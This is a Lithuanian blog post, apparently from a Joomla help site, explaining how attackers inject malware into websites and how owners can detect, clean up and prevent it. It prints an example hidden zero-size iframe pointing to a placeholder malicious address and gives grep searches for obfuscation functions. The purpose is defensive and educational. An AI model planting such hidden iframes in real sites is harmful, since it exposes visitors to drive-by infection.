"Mano tinklapyje virusas". Ką dabar daryti ir kaip to išvengti?
Trečiadienis, 19 Spalis 2011 19:56
Parašė Rimvydas
Peržiūrų: 604
Pirmiausiai truputis teorijos apie tai, kas yra virusas ir kuo skiriasi virusas, esantis kompiuteryje ir virusas, esantis tinklapyje. Jei trumpai, virusas - tai kompiuterinė programa, kuri gali savaime daugintis ir atlikti tam tikras užduotis. Šios programos gali daugintis ne tik tame pačiame kompiuteryje, bet ir užkrėsti kitus tinkle esančius kompiuterius. Dažnai virusams dar priskiriamos tokios programos kaip trojanai ar programos–šnipai. Prieš kompiuterinius virusus gintis nėra labai sunku - tereikia naudoti patikimą antivirusinę programą ir ugniasienę. Nuolat atnaujinant antivirusinę programą kompiuteryje jau ir “prasmukusį” virusą surasti nėra sunku, ko negalima pasakyt apie virusus, esančius tinklapyje. Jų aptikti ir sunaikinti antivirusinės programos praktiškai negali, nes paprastai kenksmingo kodo tinklapyje nėra - yra tik nuoroda, arba paprastas skriptas į tinklapį, užkrėstą virusais, kuris savo ruožtu ir aktyvuoja virusą. Kad antivirusinė programa surastų kenksmingą kodą, kuris paleidžiamas naršyklėje, jai reikia sekti nuorodos keliu iki viruso, o tai praktiškai sunkiai įmanoma, todėl net ir parsisiuntus visus tinklapio failus į kompiuterį ir juos praskenavus antivirusine programa tikimybė, kad nieko nebus rasta, yra labai didelė, nes kenksmingo kodo pačiame tinklapyje tiesiog ir nėra.
Taigi, kaip atrodo viruso kodas tinklapyje ir kaip jis ten patenka?
Paprastai dauguma talpinamų tinklapiuose virusų veikia tokiu pat principu ir naudojasi žinoma daugumos naršyklių bėda, tokia, kaip “buferio persipildymas”.
Tai ypač silpna IE naršyklių vieta. Esmė yra ta, kad naudojant specialų kodą galima nepastebimai vartotojui įkelti į kompiuterį bet kokį failą. Tačiau įkelti kodą į tinklapį gana sunku, todėl daugumoje atveju tinklapis nėra “nulaužiamas” (nes tai nėra paprasta), bet paprasčiausiai pavagiami prisijungimo prie tinklapio duomenys ir prisijungus prie tinklapio administravimo kenksmingas kodas įrašomas į tinklapio failus. Kad būtų nematomas paprastai užduodami parametrai width="0" height="0" Pavyzdys kodo:
<iframe src="http://tinklapio adresas įkeliantis virusą " width="0" height="0" style="hidden" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></iframe>
Vizualiai peržiūrėjus failo kodą tokį įrašą ganėtinai nesunku surasti, todėl “labiau pažengę” hackeriai kodą maskuoja jį šifruodami. Tokį kodą galima atpažint pagal specifines JavaScript funkcijas unescape() ar fromCharCode() , document.write().Tačiau reikia atkreipti dėmesį į tai kad jei naudodami kažkokias programas “prašukavote” tinklapį ir radote <iframe>, unescape(), fromCharCode() tai dar nereiškia kad tai yra kenksmingas kodas kiekvienu atvėju reikia įsitikinti vizualiai ir išsiaiškinti ar tai nėra kažkoks jūsų naudojamas skriptas ar jo dalis. Aišku yra ir daugiau įvairių maskavimo būdų, tačiau esmė praktiškai ta pati egzistuoja <iframe> rečiau tiesiai <script>
Kur dabar dažniausiai ieškoti įkelto kodo?
Paprastai užkrečiami vykdantieji php failai. Pats populiariausias yra tinklapio šablono index.php failas, nes jis užkraunamas pirmiausiai, tačiau gali būti ir modulių, komponentų ir.t.t failai. Taip pat sėkmingai galima įterpti kenksmingą kodą ir į html ar htm failus.
Kaip ieškoti ir išrinkti įtartinus failus
Jei tinklapis nedidelis ir failų nedaug tai galima juos vizualiai peržiūrėti ir surasti užkrėstus failus, tačiau jei tinklapis turi šimtus ar tūkstančius failų tada tai nėra taip paprasta. Jei kalbant apie Joomla tai ji vos įdiegta turi kelis šimtus php failų. Tokiu atvėjų reikia automatizuoti paiešką. Prisijungiame prie tinklapio saugiu režimu nuotoline programa kuri naudoja saugu SSH protokolą pvz. PuTTY. Jei kas nežino kaip ja naudotis tai internete daugybė rašytinės ir vaizdo informacijos. Susijungę su tinklapiu užduodame paiešką:
find $PWD -name '*.*' -exec grep -li "iframe" {} \; find $PWD -name '*.*' -exec grep -li "unescape" {} \; find $PWD -name '*.*' -exec grep -li "fromCharCode" {} \;
Rezultate gauname sąrašą įtartinų failų kuriuos reikia patikrinti. Būtinai reikia atkreipti dėmesį į tai, kad jei faile ir yra <iframe>tai dar nereiškia, kad tai virusas juk yra nemažai naudingų skriptų naudojančiu html įterpimus. Tikrinti reikia įdėmiai ir atidžiai. Jei kam tai pasirodys per daug sudėtinga galima naudoti įvairius skriptus. Turiu pora skriptų kuriuos atitinkamai sukonfigūravus pagal savo poreikį jie atlieka tokį pat darbą ir funkcijos platesnės . Čia nepateikiu , nes reikia aprašyti taisykles kaip naudotis ir atlikti konfigūraciją. Jei kam prireiks rašykit pateiksiu ir bandysiu paaiškinti. Panaršius internete galite rasti servisus kurie ieško virusų jūsų tinklapyje tereikia nurodyti url, tačiau naudos iš to mažai . Patikrinau du servisus į tinklapį įkėliau penkis virusus vienas nerado nei vieno antras vieną taigi šiame reikale teks pasikliauti savo jėgomis.
Ką daryti jei įtariame, kad tinklapis užkrėstas virusais ?
1. Skubiai patikrinti kompiuterį (ius) kurio jungiaties per FTP programą prie tinklapio antivirusine programa patartina ne viena.
2. Pakeičiate FTP prisijungimo duomenis.
3. Blokuojate tinklapį, kad niekas į jį negalėtų patekti pagal IP adresus (išskyrus tą IP kuriuo patys jungiaties).
4. Pradedate ieškoti užkrėstų failų.
Vienas iš dar nepaminėtu, bet paprastų, greitų, tačiau efektyvių būdu paprasčiausiai pažiūrėti failų modifikavimo data pagal tai irgi galima spręsti kuris failas gali būt užkrėstas. Taip pat vertėtų panagrinėti FTP prisijungimų log failą.
Profilaktika arba kaip nuo to apsisaugoti
1. Kompiuteryje kuriuo jungiaties su tinklapiu naudokite patikimą antivirusinę ir ugniasienės programą.
2. Nesaugokite slaptažodžių FTP programose.
3. Kiek įmanoma susiaurinkite ratą žmonių kurie turi teisę jungtis per FTP.
4. Tinkamai sukonfigūruokite katalogų ir failų prieigos teises.
5. Nenaudot komponentų, modulių ir kitų plėtinių kuriuos geri “dėdės” duoda parsisiųst nemokamai nors kūrėjai jų nemokamai neplatina.
Pabaigai rekomenduoju įdiegti komponentą Eyesite. Skirtingai nei komponentai skirti apsaugai nuo įsilaužimo šis komponentas nieko nesaugo ir neblokuoja, bet praneša jums el.laišku apie bet kokius pakitimus kataloguose ir failuose. Komponento veikimas paprastas: diegimo metu komponentas sukuria katalogų struktūra ir parametrus įrašo į duomenų bazę. Nustatymuose galima nustatyti periodinį skanavimą todėl papuolus virusui į serverį galėsite nustatyti kokie failai buvo užkrėsti.
Sėkmės saugant tinklapį.
Joomla123.lt is not affiliated with or endorsed by Open Source Matters or the Joomla! Project.
The Joomla!® name is used under a limited license from Open Source Matters in the United States and other countries.


